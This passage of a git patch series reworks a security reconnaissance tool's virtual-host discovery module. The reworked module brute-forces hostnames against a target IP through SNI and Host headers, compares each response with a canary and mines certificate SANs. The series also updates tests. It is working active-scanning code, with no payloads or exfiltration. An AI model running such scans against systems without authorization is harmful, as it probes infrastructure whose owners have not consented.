skip_dns_host, host_ip, parsed + ): + """ + Test a single virtual host candidate using HTTPS SNI with curl --resolve + Returns the virtual host name if detected, None otherwise + """ + try: + # Extract host IP from event's resolved_hosts (use first one like httpx would) + if not event.resolved_hosts: + self.debug(f"No resolved hosts available for {parsed.hostname} for SNI testing") + return None + + port = parsed.port or 443 + + # Use curl --resolve to map the test_host to the actual IP + # This forces SNI to use test_host while connecting to the real IP + curl_result = await self.helpers.web.curl( + url=f"https://{test_host}:{port}{parsed.path or '/'}", + resolve={"host": test_host, "port": port, "ip": host_ip}, + ) + + if not curl_result: + return None + + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if curl_result["http_code"] == 421: + self.debug(f"SKIPPING {test_host} - got 421 Misdirected Request (SNI not configured)") + return None + + response = curl_result["response_data"] + + # Create content fingerprint for comparison + response_fingerprint = self.get_content_fingerprint(response) + if not response_fingerprint: + return None + + # Calculate content similarity to canary (junk response) + similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) + + # Critical debug info + self.debug( + f"Testing URL: {host} | SNI: {test_host} | Response: {len(response)} bytes | Similarity to canary: {similarity:.3f} | IP: {host_ip}" + ) + + # If similarity is low (different from junk response), it's likely a valid virtual host + if similarity > self.SIMILARITY_THRESHOLD: + self.debug( + f"SKIPPING {test_host} - too similar to canary ({similarity:.2%} >= {self.SIMILARITY_THRESHOLD:.2%})" + ) + return None + + virtualhost_dict = { + "host": str(event.host), + "url": host, + "virtual_host": word, + "technique": "SNI brute-force", + "ip": host_ip, + } + + # Don't emit if this would be the same as the original netloc + if f"{virtualhost_dict['virtual_host']}{basehost}" != event.parsed_url.netloc: + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {word} (similarity: {similarity:.2%})", + ) + + if skip_dns_host is False: + await self.emit_event( + f"{virtualhost_dict['virtual_host']}{basehost}", + "DNS_NAME", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via SNI brute-force for {event.data} and found {{event.type}}: {{event.data}}", + ) + + return word + + except Exception as e: + self.debug(f"Error testing virtual host {word} via SNI: {e}") + return None + + def get_content_fingerprint(self, content): + """Extract a representative fingerprint from content (from waf_bypass)""" + if not content: + return None + + # Take 3 samples of 500 chars each from start, middle and end + # This gives us enough context for comparison while reducing storage + content_len = len(content) + if content_len <= 1500: + return content # If content is small enough, just return it all + + start = content[:500] + mid_start = max(0, (content_len // 2) - 250) + middle = content[mid_start : mid_start + 500] + end = content[-500:] + + return start + middle + end + + def get_content_similarity(self, fingerprint1, fingerprint2): + """Get similarity ratio between two content fingerprints (from waf_bypass)""" + if not fingerprint1 or not fingerprint2: + return 0.0 + from difflib import SequenceMatcher + + return SequenceMatcher(None, fingerprint1, fingerprint2).ratio() + + def mutations_check(self, virtualhost): + mutations_list = [] + for mutation in self.helpers.word_cloud.mutations(virtualhost): + for i in ["", "-"]: + mutations_list.append(i.join(mutation)) + mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) + return mutations_list_file + + async def finish(self): + # check existing hosts with wordcloud + tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) + + for host, event in self.scanned_hosts.items(): + if host not in self.wordcloud_tried_hosts: + event.parsed_url = urlparse(host) + + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + else: + basehost = self.helpers.parent_domain(event.parsed_url.netloc) + + await self._run_virtualhost_phase( + "Checking main host with wordcloud", host, f".{basehost}", event, wordlist=tempfile + ) + + self.wordcloud_tried_hosts.add(host) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 9ad2d932fa..7423bbdc51 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -180,7 +180,9 @@ class bbot_events: parent=scan.root_event, ) finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) + virtualhost = scan.make_event( + {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com"}, "VIRTUAL_HOST", parent=scan.root_event + ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, @@ -211,7 +213,7 @@ class bbot_events: bbot_events.url_hint, bbot_events.vulnerability, bbot_events.finding, - bbot_events.vhost, + bbot_events.virtualhost, bbot_events.http_response, bbot_events.storage_bucket, bbot_events.emoji, diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index 96079b5f04..893ae84aa1 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -348,30 +348,63 @@ async def test_web_curl(bbot_scanner, bbot_httpserver): url = bbot_httpserver.url_for("/curl") bbot_httpserver.expect_request(uri="/curl").respond_with_data("curl_yep") bbot_httpserver.expect_request(uri="/index.html").respond_with_data("curl_yep_index") - assert await helpers.curl(url=url) == "curl_yep" - assert await helpers.curl(url=url, ignore_bbot_global_settings=True) == "curl_yep" - assert (await helpers.curl(url=url, head_mode=True)).startswith("HTTP/") - assert await helpers.curl(url=url, raw_body="body") == "curl_yep" - assert ( - await helpers.curl( - url=url, - raw_path=True, - headers={"test": "test", "test2": ["test2"]}, - ignore_bbot_global_settings=False, - post_data={"test": "test"}, - method="POST", - cookies={"test": "test"}, - path_override="/index.html", - ) - == "curl_yep_index" + + # Original tests - keep these working exactly as before + result1 = await helpers.curl(url=url) + assert result1["response_data"] == "curl_yep" + + result2 = await helpers.curl(url=url, ignore_bbot_global_settings=True) + assert result2["response_data"] == "curl_yep" + + result3 = await helpers.curl(url=url, head_mode=True) + assert result3["response_data"].startswith("HTTP/") + + result4 = await helpers.curl(url=url, raw_body="body") + assert result4["response_data"] == "curl_yep" + + result5 = await helpers.curl( + url=url, + raw_path=True, + headers={"test": "test", "test2": ["test2"]}, + ignore_bbot_global_settings=False, + post_data={"test": "test"}, + method="POST", + cookies={"test": "test"}, + path_override="/index.html", ) + assert result5["response_data"] == "curl_yep_index" + # test custom headers bbot_httpserver.expect_request("/test-custom-http-headers-curl", headers={"test": "header"}).respond_with_data( "curl_yep_headers" ) headers_url = bbot_httpserver.url_for("/test-custom-http-headers-curl") curl_result = await helpers.curl(url=headers_url) - assert curl_result == "curl_yep_headers" + assert curl_result["response_data"] == "curl_yep_headers" + + # NEW: Test metadata fields are present and valid + assert "http_code" in curl_result + assert curl_result["http_code"] == 200 + assert "url_effective" in curl_result + assert "content_type" in curl_result + assert "size_download" in curl_result + assert "time_total" in curl_result + assert "speed_download" in curl_result + + # NEW: Test metadata types and ranges + assert isinstance(curl_result["http_code"], int) + assert isinstance(curl_result["size_download"], (int, float)) + assert isinstance(curl_result["time_total"], (int, float)) + assert isinstance(curl_result["speed_download"], (int, float)) + assert curl_result["size_download"] >= 0 + assert curl_result["time_total"] >= 0 + + # NEW: Test that all results have consistent metadata structure + for result in [result1, result2, result3, result4, result5, curl_result]: + assert "response_data" in result + assert "http_code" in result + assert "url_effective" in result + assert isinstance(result, dict) await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/test_module_vhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py similarity index 68% rename from bbot/test/test_step_2/module_tests/test_module_vhost.py rename to bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 16f9991f6e..03a6fccdb7 100644 --- a/bbot/test/test_step_2/module_tests/test_module_vhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -1,13 +1,13 @@ from .base import ModuleTestBase, tempwordlist -class TestVhost(ModuleTestBase): +class TestVirtualhost(ModuleTestBase): targets = ["http://localhost:8888", "secret.localhost"] - modules_overrides = ["httpx", "vhost"] + modules_overrides = ["httpx", "virtualhost"] test_wordlist = ["11111111", "admin", "cloud", "junkword1", "zzzjunkword2"] config_overrides = { "modules": { - "vhost": { + "virtualhost": { "wordlist": tempwordlist(test_wordlist), } } @@ -15,23 +15,23 @@ class TestVhost(ModuleTestBase): async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "admin.localhost:8888"}} - respond_args = {"response_data": "Alive vhost admin"} + respond_args = {"response_data": "Alive virtualhost admin"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "cloud.localhost:8888"}} - respond_args = {"response_data": "Alive vhost cloud"} + respond_args = {"response_data": "Alive virtualhost cloud"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "q-cloud.localhost:8888"}} - respond_args = {"response_data": "Alive vhost q-cloud"} + respond_args = {"response_data": "Alive virtualhost q-cloud"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "secret.localhost:8888"}} - respond_args = {"response_data": "Alive vhost secret"} + respond_args = {"response_data": "Alive virtualhost secret"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "host.docker.internal"}} - respond_args = {"response_data": "Alive vhost host.docker.internal"} + respond_args = {"response_data": "Alive virtualhost host.docker.internal"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) expect_args = {"method": "GET", "uri": "/"} @@ -42,24 +42,24 @@ def check(self, module_test, events): basic_detection = False mutaton_of_detected = False basehost_mutation = False - special_vhost_list = False + special_virtualhost_list = False wordcloud_detection = False for e in events: - if e.type == "VHOST": - if e.data["vhost"] == "admin": + if e.type == "VIRTUAL_HOST": + if e.data["virtual_host"] == "admin": basic_detection = True - if e.data["vhost"] == "cloud": + if e.data["virtual_host"] == "cloud": mutaton_of_detected = True - if e.data["vhost"] == "q-cloud": + if e.data["virtual_host"] == "q-cloud": basehost_mutation = True - if e.data["vhost"] == "host.docker.internal": - special_vhost_list = True - if e.data["vhost"] == "secret": + if e.data["virtual_host"] == "host.docker.internal": + special_virtualhost_list = True + if e.data["virtual_host"] == "secret": wordcloud_detection = True assert basic_detection assert mutaton_of_detected assert basehost_mutation - assert special_vhost_list + assert special_virtualhost_list assert wordcloud_detection diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index cb995ecc93..ed13953b9e 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -588,7 +588,7 @@ }, { "id": 148, - "name": "VHOST", + "name": "VIRTUAL_HOST", "parent": 88888888, "consumes": [ 155 @@ -2038,7 +2038,7 @@ }, { "id": 147, - "name": "vhost", + "name": "virtual_host", "parent": 99999999, "consumes": [ 3 From 3bf032a6b079a12d69885e48f43931e7866037fc Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 27 Aug 2025 13:36:42 -0400 Subject: [PATCH 012/129] tweak --- bbot/modules/virtualhost.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 920534aa81..590c7ff975 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -326,6 +326,11 @@ async def _test_https_virtualhost( self.debug(f"SKIPPING {test_host} - got 421 Misdirected Request (SNI not configured)") return None + # Check for 403 Forbidden - signal that the virtual host is rejected + if curl_result["http_code"] == 403: + self.debug(f"SKIPPING {test_host} - got 403 Forbidden") + return None + response = curl_result["response_data"] # Create content fingerprint for comparison From 38d4d2ecef7f78d1ffbaf92a0814712a71e716d8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 30 Aug 2025 00:31:59 -0400 Subject: [PATCH 013/129] virtualhost update major refactor --- bbot/core/event/base.py | 1 + bbot/core/helpers/misc.py | 40 +++ bbot/core/helpers/web/web.py | 6 + bbot/modules/virtualhost.py | 665 ++++++++++++++++++++++------------- 4 files changed, 460 insertions(+), 252 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 1522bdf049..cf8e9f3014 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1608,6 +1608,7 @@ class VIRTUAL_HOST(DictHostEvent): class _data_validator(BaseModel): host: str virtual_host: str + discovery_technique: str url: Optional[str] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index adb178c568..d5e9fea1c9 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2615,6 +2615,46 @@ async def as_completed(coros): yield task +async def as_completed_with_limit(coros, max_concurrent): + """ + Async generator that yields completed Tasks as they are completed, with concurrency control. + + Args: + coros (iterable): An iterable of coroutine objects (NOT Tasks). + max_concurrent (int): Maximum number of concurrent tasks. + + Yields: + asyncio.Task: A Task object that has completed its execution. + + Examples: + >>> async def main(): + ... # Limit to 5 concurrent tasks + ... async for task in as_completed_with_limit([coro1(), coro2(), coro3()], max_concurrent=5): + ... result = task.result() + ... print(f'Task completed with result: {result}') + + >>> asyncio.run(main()) + """ + semaphore = asyncio.Semaphore(max_concurrent) + + async def _semaphore_wrapper(coro): + """Wrap a coroutine with semaphore control""" + async with semaphore: + # Execute the coroutine while holding the semaphore + return await coro + + # Wrap all coroutines with semaphore control and create tasks + wrapped_tasks = [asyncio.create_task(_semaphore_wrapper(coro)) for coro in coros] + + # Use the standard as_completed logic on wrapped tasks + tasks = {task: task for task in wrapped_tasks} + while tasks: + done, _ = await asyncio.wait(tasks.keys(), return_when=asyncio.FIRST_COMPLETED) + for task in done: + tasks.pop(task) + yield task + + def clean_dns_record(record): """ Cleans and formats a given DNS record for further processing. diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 9c1625bcf4..5e70498f24 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -384,6 +384,12 @@ async def curl(self, *args, **kwargs): curl_command.append("-m") curl_command.append(str(timeout)) + # mirror the web helper behavior + retries = self.parent_helper.web_config.get("http_retries", 1) + if retries > 0: + curl_command.extend(["--retry", str(retries)]) + curl_command.append("--retry-all-errors") + for k, v in headers.items(): if isinstance(v, list): for x in v: diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 590c7ff975..78948f2cc9 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -1,10 +1,9 @@ -import base64 from urllib.parse import urlparse -from bbot.modules.ffuf import ffuf +from bbot.modules.base import BaseModule -class virtualhost(ffuf): +class virtualhost(BaseModule): watched_events = ["URL"] produced_events = ["VIRTUAL_HOST", "DNS_NAME"] flags = ["active", "aggressive", "slow", "deadly"] @@ -20,150 +19,286 @@ class virtualhost(ffuf): "wordlist": "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt", "force_basehost": "", "lines": 5000, + "subdomain_brute": True, + "mutation_check": True, + "special_hosts": True, + "certificate_sans": True, + "max_concurrent_requests": 100, } options_desc = { "wordlist": "Wordlist containing subdomains", "force_basehost": "Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL", "lines": "take only the first N lines from the wordlist when finding directories", + "subdomain_brute": "Enable subdomain brute-force on target host", + "mutation_check": "Enable mutations check on target host", + "special_hosts": "Enable testing of special virtual host list (localhost, etc.)", + "certificate_sans": "Enable extraction and testing of Subject Alternative Names from certificates", + "max_concurrent_requests": "Maximum number of concurrent virtual host requests", } - deps_common = ["ffuf"] - banned_characters = {" ", "."} - in_scope_only = True async def setup(self): + self.max_concurrent = self.config.get("max_concurrent_requests", 100) self.scanned_hosts = {} self.wordcloud_tried_hosts = set() + self.wordlist = await self.helpers.wordlist(self.config.get("wordlist"), lines=self.config.get("lines", 5000)) return await super().setup() async def handle_event(self, event): if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): host = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}" + + # since we normalize the URL to the host level, if host in self.scanned_hosts: return else: self.scanned_hosts[host] = event - # subdomain virtual host check if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: basehost = self.helpers.parent_domain(event.parsed_url.netloc) self.debug(f"Using basehost: {basehost}") - # Phase 1: Main virtual host bruteforce - await self._run_virtualhost_phase( - "Main virtual host bruteforce", host, f".{basehost}", event, with_mutations=True + is_https = event.parsed_url.scheme == "https" + + # We request the URL in order to get the SSL cert data (for https urls) and to provide a backup for the canary data if the "nonsense" canary fails + original_response = await self.helpers.web.curl(url=event.data) + if not original_response: + self.debug(f"Failed to get original response for {event.data}, skipping virtual host detection") + return + + # Try to get a canary fingerprint using a nonsense subdomain. It will be compared against brute-forced requests to determine if the request found a real virtual host. + # If the canary fails, we fall back to using the 'original response' as the canary. + canary_status, canary_fingerprint = await self._get_canary_fingerprint( + host, original_response, next(iter(event.resolved_hosts)), is_https ) + if not canary_fingerprint: + self.debug(f"Failed to setup canary for {host}, skipping virtual host detection") + return + + # Phase 1: Main virtual host bruteforce + if self.config.get("subdomain_brute", True): + self.verbose(f"=== Starting subdomain brute-force on {host} ===") + await self._run_virtualhost_phase( + "Target host SubdomainBrute-force", + host, + f".{basehost}", + event, + canary_status, + canary_fingerprint, + original_response, + with_mutations=True, + ) # Phase 2: Check existing host for mutations - await self._run_virtualhost_phase( - "Checking for virtual host mutations on main host", - host, - f".{basehost}", - event, - wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]), - ) + if self.config.get("mutation_check", True): + self.verbose(f"=== Starting mutations check on {host} ===") + await self._run_virtualhost_phase( + "Mutations on target host", + host, + f".{basehost}", + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]), + ) # Phase 3: Special virtual host list - await self._run_virtualhost_phase( - "Checking special virtual host list", - host, - "", - event, - wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), - skip_dns_host=True, - ) + if self.config.get("special_hosts", True): + self.verbose(f"=== Starting special virtual hosts check on {host} ===") + await self._run_virtualhost_phase( + "Special virtual host list", + host, + "", + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), + skip_dns_host=True, + ) - async def _setup_canary(self, host, event, host_ip, is_https): - """Setup canary response for comparison using the appropriate technique. Returns canary fingerprint or None on failure.""" - try: - from urllib.parse import urlparse - import random - import string + # Phase 4: Obtain subject alternate names from certicate and analyze them + if self.config.get("certificate_sans", True): + self.verbose(f"=== Starting certificate SAN analysis on {host} ===") + if is_https: + subject_alternate_names = await self._analyze_subject_alternate_names(event.data) + if subject_alternate_names: + self.debug( + f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}" + ) - parsed = urlparse(host) - baseline_host = parsed.netloc + # Use SANs as potential virtual hosts for testing + san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False) + await self._run_virtualhost_phase( + "Certificate Subject Alternate Name", + host, + "", + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=san_wordlist, + skip_dns_host=True, + ) - # Generate random junk hostname for canary - canary_host = ( - "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{baseline_host}" - ) + async def _analyze_subject_alternate_names(self, url): + """Analyze subject alternate names from certificate""" + from OpenSSL import crypto + from bbot.modules.sslcert import sslcert - if is_https: - self.debug(f"Testing canary host via SNI: {canary_host}") + parsed = urlparse(url) + host = parsed.netloc - port = parsed.port or 443 + response = await self.helpers.web.curl(url=url) + if not response or not response.get("certs"): + self.debug(f"No certificate data available for {url}") + return [] - # Get canary response using SNI - canary_response = await self.helpers.web.curl( - url=f"https://{canary_host}:{port}{parsed.path or '/'}", - resolve={"host": canary_host, "port": port, "ip": host_ip}, - ) + cert_output = response["certs"] + subject_alt_names = [] - if not canary_response: - self.debug(f"First SNI canary attempt failed for {host}, retrying...") - canary_response = await self.helpers.web.curl( - url=f"https://{canary_host}:{port}{parsed.path or '/'}", - resolve={"host": canary_host, "port": port, "ip": host_ip}, - ) + try: + cert_lines = cert_output.split("\n") + pem_lines = [] + in_cert = False + + for line in cert_lines: + if "-----BEGIN CERTIFICATE-----" in line: + in_cert = True + pem_lines.append(line) + elif "-----END CERTIFICATE-----" in line: + pem_lines.append(line) + break + elif in_cert: + pem_lines.append(line) + + if pem_lines: + cert_pem = "\n".join(pem_lines) + cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_pem) + + # Use the existing SAN extraction method from sslcert module + sans = sslcert.get_cert_sans(cert) + + for san in sans: + self.debug(f"Found SAN: {san}") + if san != host and san not in subject_alt_names: + subject_alt_names.append(san) else: - self.debug(f"Testing canary host via Host header: {canary_host}") + self.debug("No valid PEM certificate found in response") - # For HTTP, use Host header manipulation - canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) + except Exception as e: + self.warning(f"Error parsing certificate for {url}: {e}") - if not canary_response: - self.debug(f"First HTTP canary attempt failed for {host}, retrying...") - canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) + self.debug( + f"Found {len(subject_alt_names)} Subject Alternative Names: {subject_alt_names} (besides original target host {host})" + ) + return subject_alt_names - if not canary_response: - self.warning(f"Failed to get canary response for {host} after retry, skipping virtual host detection") - return None + async def _get_canary_fingerprint(self, host, original_response, host_ip, is_https): + """Setup canary response for comparison using the appropriate technique. Returns canary fingerprint or None on failure.""" - # Create content fingerprint of canary response - canary_fingerprint = self.get_content_fingerprint(canary_response["response_data"]) - if not canary_fingerprint: - self.warning(f"Failed to create canary fingerprint for {host}, skipping virtual host detection") - return None + from urllib.parse import urlparse + import random + import string - self.debug( - f"Canary response: {len(canary_response['response_data'])} bytes, fingerprint: {len(canary_fingerprint)} bytes" + parsed = urlparse(host) + baseline_host = parsed.netloc + + # Generate random junk hostname for canary + canary_host = ( + "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + f".{baseline_host}" + ) + + # Get canary response + if is_https: + port = parsed.port or 443 + canary_response = await self.helpers.web.curl( + url=f"https://{canary_host}:{port}{parsed.path or '/'}", + resolve={"host": canary_host, "port": port, "ip": host_ip}, ) - return canary_fingerprint + else: + canary_response = await self.helpers.web.curl(url=host, headers={"Host": canary_host}) - except (KeyError, ValueError) as e: - self.debug(f"Error parsing host or creating canary for {host}: {e}") - return None - except Exception as e: - self.debug(f"Unexpected error getting canary for {host}: {e}") - return None + if not canary_response or len(canary_response["response_data"]) == 0: + self.debug("Didn't get a response, or got an empty response. Falling back to real host") + canary_status = original_response["http_code"] + canary_fingerprint = self.get_content_fingerprint(original_response["response_data"]) + self.debug( + f"Using original response as canary - Status: {canary_status}, Content length: {len(original_response['response_data'])}" + ) + return canary_status, canary_fingerprint + else: + canary_status = canary_response["http_code"] + canary_fingerprint = self.get_content_fingerprint(canary_response["response_data"]) + if not canary_fingerprint: + self.debug(f"Failed to create canary fingerprint for {host}") + return None, None + return canary_status, canary_fingerprint async def _run_virtualhost_phase( - self, phase_name, host, basehost, event, wordlist=None, skip_dns_host=False, with_mutations=False + self, + discovery_method, + host, + basehost, + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=None, + skip_dns_host=False, + with_mutations=False, ): """Helper method to run a virtual host discovery phase and optionally mutations""" - self.verbose(phase_name) - async for virtualhost in self.curl_virtualhost(host, basehost, event, wordlist, skip_dns_host): + virtual_hosts_found = [] + async for virtualhost in self.curl_virtualhost( + discovery_method, + host, + basehost, + event, + canary_status, + canary_fingerprint, + original_response, + wordlist, + skip_dns_host, + ): + virtual_hosts_found.append(virtualhost) if with_mutations: - self.verbose(f"Starting mutations check for {virtualhost}") - async for _ in self.curl_virtualhost( - host, basehost, event, wordlist=self.mutations_check(virtualhost) + async for mutation in self.curl_virtualhost( + discovery_method, + host, + basehost, + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=self.mutations_check(virtualhost), ): - pass - - async def curl_virtualhost(self, host, basehost, event, wordlist=None, skip_dns_host=False): + pass # emit of any VIRTUAL_HOST events is handled inside curl_virtualhost + pass # emit of any VIRTUAL_HOST events is handled inside curl_virtualhost + + async def curl_virtualhost( + self, + discovery_method, + host, + basehost, + event, + canary_status, + canary_fingerprint, + original_response, + wordlist=None, + skip_dns_host=False, + ): if wordlist is None: - wordlist = self.tempfile - - # Get baseline host for comparison and determine scheme - from urllib.parse import urlparse + wordlist = self.wordlist - parsed = urlparse(host) - baseline_host = parsed.netloc - is_https = parsed.scheme == "https" + # Get baseline host for comparison and determine scheme from event + baseline_host = event.parsed_url.netloc + is_https = event.parsed_url.scheme == "https" # Collect all words for concurrent processing wordlist_words = [] @@ -173,225 +308,219 @@ async def curl_virtualhost(self, host, basehost, event, wordlist=None, skip_dns_ continue # Construct virtual host header if basehost: - test_host = f"{word}{basehost}" + probe_host = f"{word}{basehost}" else: - test_host = word + probe_host = word # Skip if this would be the same as the original host - if test_host == baseline_host: + if probe_host == baseline_host: continue - wordlist_words.append((word, test_host)) + wordlist_words.append((word, probe_host)) - # Create concurrent tasks for all virtual host tests - method varies by scheme - import asyncio - - tasks = [] + self.debug(f"Loaded {len(wordlist_words)} candidates from wordlist for {discovery_method}") + coros = [] host_ips = event.resolved_hosts for host_ip in host_ips: - # Get canary response to compare against (junk host that shouldn't exist) - canary_fingerprint = await self._setup_canary(host, event, host_ip, is_https) - if not canary_fingerprint: - return - - for word, test_host in wordlist_words: + for word, probe_host in wordlist_words: if is_https: - task = asyncio.create_task( - self._test_https_virtualhost( - host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip, parsed - ) + technique = "SNI" + discovery_string = f"{discovery_method} ({technique})" + coro = self._test_https_virtualhost( + host, + probe_host, + basehost, + event, + canary_status, + canary_fingerprint, + skip_dns_host, + host_ip, + discovery_string, ) else: - task = asyncio.create_task( - self._test_http_virtualhost( - host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip - ) + technique = "Host header" + discovery_string = f"{discovery_method} ({technique})" + coro = self._test_http_virtualhost( + host, + probe_host, + basehost, + event, + canary_status, + canary_fingerprint, + skip_dns_host, + host_ip, + discovery_string, ) - tasks.append(task) + coros.append(coro) - method = "SNI" if is_https else "Host header" - self.verbose(f"Testing {len(tasks)} virtual hosts concurrently using {method}...") + self.debug( + f"Testing {len(coros)} virtual hosts with max {self.max_concurrent} concurrent requests using {discovery_string} against {len(host_ips)} IPs..." + ) - # Process results as they complete - found_hosts = [] - async for completed in self.helpers.as_completed(tasks): + # Process results as they complete with concurrency control + async for completed in self.helpers.as_completed_with_limit(coros, self.max_concurrent): result = await completed if result: - found_hosts.append(result) yield result - self.verbose(f"Found {len(found_hosts)} virtual hosts") + def analyze_response(self, probe_host, probe_result, canary_status, canary_fingerprint): + probe_status = probe_result["http_code"] + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if probe_status == 421: + self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") + return None + + # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) + if probe_status == 403 and canary_status != 403: + self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") + return None + + # Create content fingerprint for comparison + response_fingerprint = self.get_content_fingerprint(probe_result["response_data"]) + if not response_fingerprint: + self.debug(f"SKIPPING {probe_host} - failed to create response fingerprint") + return None + + # Calculate content similarity to canary (junk response) + similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) + return similarity async def _test_http_virtualhost( - self, host, test_host, word, basehost, event, canary_fingerprint, skip_dns_host, host_ip + self, + host, + probe_host, + basehost, + event, + canary_status, + canary_fingerprint, + skip_dns_host, + host_ip, + discovery_string, ): """ Test a single virtual host candidate using HTTP Host header Returns the virtual host name if detected, None otherwise """ - try: - # Make request with custom Host header using curl with status code - curl_result = await self.helpers.web.curl( - url=host, headers={"Host": test_host}, resolve={"host": test_host, "port": 80, "ip": host_ip} - ) - - if not curl_result: - return None - # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist - if curl_result["http_code"] == 421: - self.critical(f"SKIPPING {test_host} - got 421 Misdirected Request (virtual host not configured)") - return None - - response = curl_result["response_data"] + # Make request with custom Host header using curl with status code + probe_result = await self.helpers.web.curl( + url=host, + headers={"Host": probe_host}, + resolve={"host": probe_host, "port": event.port or 80, "ip": host_ip}, + ) + if not probe_result: + return None - # Create content fingerprint for comparison - response_fingerprint = self.get_content_fingerprint(response) - if not response_fingerprint: - return None + similarity = self.analyze_response(probe_host, probe_result, canary_status, canary_fingerprint) + if similarity is None: + return None - # Calculate content similarity to canary (junk response) - similarity = self.get_content_similarity(canary_fingerprint, response_fingerprint) + # Different from canary = possibly real virtual host, similar to canary = probably junk + if similarity > self.SIMILARITY_THRESHOLD: + return None - self.debug( - f"Testing URL: {host} | Virtual Host: {test_host} | Response: {len(response)} bytes | Similarity to canary: {similarity:.3f}" + virtualhost_dict = { + "host": str(event.host), + "url": host, + "virtual_host": probe_host, + "discovery_technique": discovery_string, + "ip": host_ip, + } + + # Don't emit if this would be the same as the original netloc + if probe_host != event.parsed_url.netloc: + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + context=f"{{module}} discovered virtual host via Host header brute-force for {event.data} and found {{event.type}}: {probe_host} (similarity: {similarity:.2%})", ) - # If similarity is low (different from junk response), it's likely a valid virtual host - # Different from canary = real virtual host, similar to canary = also junk - if similarity > self.SIMILARITY_THRESHOLD: - return None - - virtualhost_dict = { - "host": str(event.host), - "url": host, - "virtual_host": word, - "technique": "Host header brute-force", - "ip": host_ip, - } - - # Don't emit if this would be the same as the original netloc 